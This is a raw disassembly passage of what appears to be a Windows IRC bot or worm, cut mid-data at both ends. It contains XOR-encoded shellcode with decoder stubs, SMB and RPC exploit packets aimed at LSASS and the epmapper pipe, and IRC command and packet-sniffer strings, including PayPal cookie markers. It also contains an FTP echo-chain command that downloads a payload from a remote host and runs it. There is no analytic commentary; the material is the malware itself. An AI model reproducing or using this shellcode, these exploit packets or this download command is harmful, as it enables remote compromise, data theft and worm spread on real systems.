dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: .nsp0:00423C8Co align 10h aFtp db 'FTP',0 ; DATA XREF: .nsp0:00423C88o off_4244F4 dd offset aHeloRndnickMai+25h ; DATA XREF: .nsp0:00423C84o dword_4244F8 dd 544F42h unk_4244FC db 2 ; DATA XREF: sub_4024DC+2FCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_424544 db 2 ; DATA XREF: sub_4024DC+2ABo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024DC+235o align 4 unk_424598 db 2 ; DATA XREF: sub_4024DC+186o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_4245E4 db 2 ; DATA XREF: sub_4024DC+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h ; DATA XREF: sub_4024DC+85o dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h dd 64656E72h, 253C203Ah, 2E3E64h, 0 ; --------------------------------------------------------------------------- jmp short loc_42468A ; =============== S U B R O U T I N E ======================================= sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_424682: ; CODE XREF: sub_42467A+Cj xor byte ptr [ebx+ecx], 99h loop loc_424682 jmp short loc_42468F ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: .nsp0:00424678j call near ptr sub_42467A loc_42468F: ; CODE XREF: sub_42467A+Ej jo short loc_4246F3 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_424711 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_424711: ; CODE XREF: sub_42467A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_42467A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4247B8: ; DATA XREF: sub_402988+150o ; sub_402988+20Do jmp short loc_4247CA ; =============== S U B R O U T I N E ======================================= sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4247C2: ; CODE XREF: sub_4247BA+Cj xor byte ptr [edx+ecx], 99h loop loc_4247C2 jmp short loc_4247CF ; --------------------------------------------------------------------------- loc_4247CA: ; CODE XREF: .nsp0:loc_4247B8j call sub_4247BA loc_4247CF: ; CODE XREF: sub_4247BA+Ej jo short near ptr dword_424748+1Eh cwde cdq cdq retn sub_4247BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_402988+101o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_402DDD+7Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+AAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+CFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_402988+86o unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2B0o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2DBo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+3C3o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+314o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+33Fo dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_424ED0 dd 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r ; sub_402988+E3r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_424F98 dd 1004600h ; sub_402988+240r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_425050 dd 0A0D7325h, 0 ; sub_4036EB+102o ... aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e' ; DATA XREF: sub_40283D+A4o db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0 ; --------------------------------------------------------------------------- loc_4250BC: ; DATA XREF: sub_402988+171o ; sub_40384C+177o jmp short loc_4250C4 ; --------------------------------------------------------------------------- jmp short loc_4250C6 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4250C4: ; CODE XREF: .nsp0:loc_4250BCj ; DATA XREF: sub_402988+27o ... pop esp pop esp loc_4250C6: ; CODE XREF: .nsp0:004250BEj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_4250D0 dd 1CEC8166h ; sub_40384C+Dr dword_4250D4 dd 0E4FF07h ; sub_40384C+16r dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4033CB+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_403178+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_425488 dd 20h, 0 dd 20h, 5C005Ch, 0 off_42549C dd offset aStreetfi ; DATA XREF: sub_403178+15Do ; "streetfi" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_4255EC dd 18759Fh dword_4255F0 dd 100139Dh asc_4255F4: ; DATA XREF: sub_402FDD+1Co ; sub_4030C0+16o unicode 0, <\\>,0 align 4 aIpc: ; DATA XREF: sub_402FDD+Co ; sub_4030C0+Bo unicode 0, <\IPC$>,0 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o align 10h jmp short loc_425632 ; =============== S U B R O U T I N E ======================================= sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_42562A: ; CODE XREF: sub_425622+Cj xor byte ptr [ebx+ecx], 99h loop loc_42562A jmp short loc_425637 ; --------------------------------------------------------------------------- loc_425632: ; CODE XREF: .nsp0:00425620j call near ptr sub_425622 loc_425637: ; CODE XREF: sub_425622+Ej jo short loc_42569B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_4256B9 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_42569B: ; CODE XREF: sub_425622:loc_425637j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_4256B9: ; CODE XREF: sub_425622+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_425622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_425760: ; DATA XREF: sub_40384C+156o ; sub_40384C+212o jmp short loc_425772 ; =============== S U B R O U T I N E ======================================= sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_42576A: ; CODE XREF: sub_425762+Cj xor byte ptr [edx+ecx], 99h loop loc_42576A jmp short loc_425777 ; --------------------------------------------------------------------------- loc_425772: ; CODE XREF: .nsp0:loc_425760j call sub_425762 loc_425777: ; CODE XREF: sub_425762+Ej jo short near ptr dword_4256F0+1Eh cwde cdq cdq retn sub_425762 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40384C+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403C8B+85o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+B1o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+D8o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40384C+8Ao unicode 0, <C$>,0 a?????_0 db '?????',0 dd 0 dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 